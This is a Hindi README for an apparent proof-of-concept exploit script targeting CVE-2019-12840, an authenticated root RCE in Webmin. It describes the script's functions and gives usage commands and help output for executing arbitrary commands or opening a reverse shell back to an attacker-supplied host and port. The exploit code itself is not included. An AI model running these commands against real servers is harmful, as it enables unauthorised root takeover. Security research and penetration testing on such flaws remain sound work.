
यह CVE-2019-12840 भेद्यता का अपना और बुनियादी प्रूफ ऑफ कॉन्सेप्ट है जो आपको root में RCE देता है।
यह रिपॉजिटरी एक Python स्क्रिप्ट है जो Webmin में CVE-2019-12840 भेद्यता का शोषण करती है।
स्क्रिप्ट Webmin सर्वर में लॉगिन करने का प्रयास करती है और फिर CVE-2019-12840 भेद्यता का शोषण करती है। स्क्रिप्ट कई कमांड-लाइन तर्क स्वीकार करती है, जिसमें Webmin सर्वर में लॉगिन करने के लिए उपयोगकर्ता नाम और पासवर्ड, सर्वर का URL, सर्वर का पोर्ट, रिवर्स शेल के लिए लोकल पोर्ट और सर्वर पर निष्पादित करने के लिए एक कमांड शामिल है।
इस स्क्रिप्ट का उपयोग करने के लिए, आपको कम से कम उपयोगकर्ता नाम, पासवर्ड और Webmin सर्वर का URL प्रदान करना होगा। यहाँ स्क्रिप्ट का उपयोग करने का एक उदाहरण है:
python exploit.py -U username -P password -u http://localhost:10000 -lhost 10.x.x.x -lport 443
इस रिपॉजिटरी में Python स्क्रिप्ट निम्नलिखित रूप से संरचित है:
मॉड्यूल आयात: स्क्रिप्ट की शुरुआत में इसके संचालन के लिए आवश्यक विभिन्न Python मॉड्यूल आयात किए जाते हैं। इनमें HTTP अनुरोधों के लिए requests, कमांड-लाइन तर्कों को संभालने के लिए argparse, base64 एन्कोडिंग और डिकोडिंग के लिए base64, और HTML विश्लेषण के लिए BeautifulSoup शामिल हैं।
फंक्शन परिभाषाएँ: स्क्रिप्ट कई फंक्शन परिभाषित करती है:
CVE_2019_12840(url,auth_base64,cmd): यह फंक्शन एक विशिष्ट पेलोड के साथ एक विशिष्ट URL पर POST अनुरोध करता है और प्रतिक्रिया की जाँच करता है।login(username,password,url): यह फंक्शन प्रदान किए गए उपयोगकर्ता नाम और पासवर्ड के साथ Webmin सर्वर में लॉगिन करने का प्रयास करता है।exploit(sid,url,cmd): यह फंक्शन Webmin सर्वर पर CVE-2019-12840 भेद्यता का शोषण करने का प्रयास करता है।b64revshell(lhost,lport): यह फंक्शन base64-एन्कोडेड रिवर्स शेल उत्पन्न करता है।कमांड-लाइन तर्क प्रबंधन: स्क्रिप्ट कई कमांड-लाइन तर्क स्वीकार करती है, जिसमें Webmin सर्वर में लॉगिन करने के लिए उपयोगकर्ता नाम और पासवर्ड, सर्वर का URL, सर्वर का पोर्ट, रिवर्स शेल के लिए लोकल पोर्ट और सर्वर पर निष्पादित करने के लिए एक कमांड शामिल है।
एक्सप्लॉइट का निष्पादन: यदि स्क्रिप्ट को एक स्वतंत्र प्रोग्राम के रूप में निष्पादित किया जाता है (एक मॉड्यूल के रूप में आयात किए जाने के बजाय), तो यह Webmin सर्वर में लॉगिन करने का प्रयास करेगी और फिर एक्सप्लॉइट को निष्पादित करेगी।
स्क्रिप्ट कई कमांड-लाइन तर्क स्वीकार करती है। यहाँ स्क्रिप्ट का उपयोग करने का एक उदाहरण है:
python3 CVE-2019-12840.py -h
यह प्रोग्राम की सहायता प्रदर्शित करेगा, जिसमें निम्नलिखित शामिल है:
_______ ________ ___ ___ __ ___ __ ___ ___ _ _ ___
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ |__ \ / _ \| || | / _ \
| | \ \ / /| |__ ______ ) | | | || | (_) |______| | ) | (_) | || |_| | | |
| | \ \/ / | __|______/ /| | | || |\__, |______| | / / > _ <|__ _| | | |
| |____ \ / | |____ / /_| |_| || | / / | |/ /_| (_) | | | | |_| |
\_____| \/ |______| |____|\___/ |_| /_/ |_|____|\___/ |_| \___/
by CyberMonkey
Webmin <= 1.910 RCE (Authorization Required)
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id"
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost <LOCAL_IP> -lport 443
usage: CVE-2019-12840.py [-h] -U USERNAME -P PASSWORD -u URL [-p PORT] [-lport LPORT] (-c CMD | -lhost LHOST)
options:
-h, --help show this help message and exit
-U USERNAME username
-P PASSWORD password
-u URL target url
-p PORT target port
-lport LPORT local port for reverse shell
-c CMD command to execute
-lhost LHOST Send back a reverse shell at port 443
यह स्क्रिप्ट एक सुरक्षा एक्सप्लॉइट है और इसका उपयोग केवल वैध उद्देश्यों जैसे कि पैठ परीक्षण या सुरक्षा अनुसंधान के लिए किया जाना चाहिए। इसका उपयोग अवैध गतिविधियों के लिए नहीं किया जाना चाहिए। इसके अलावा, यह स्क्रिप्ट CVE-2019-12840 के प्रति संवेदनशील Webmin सर्वरों के साथ उपयोग के लिए डिज़ाइन की गई है, इसलिए यह Webmin के सभी संस्करणों के साथ काम नहीं कर सकती है।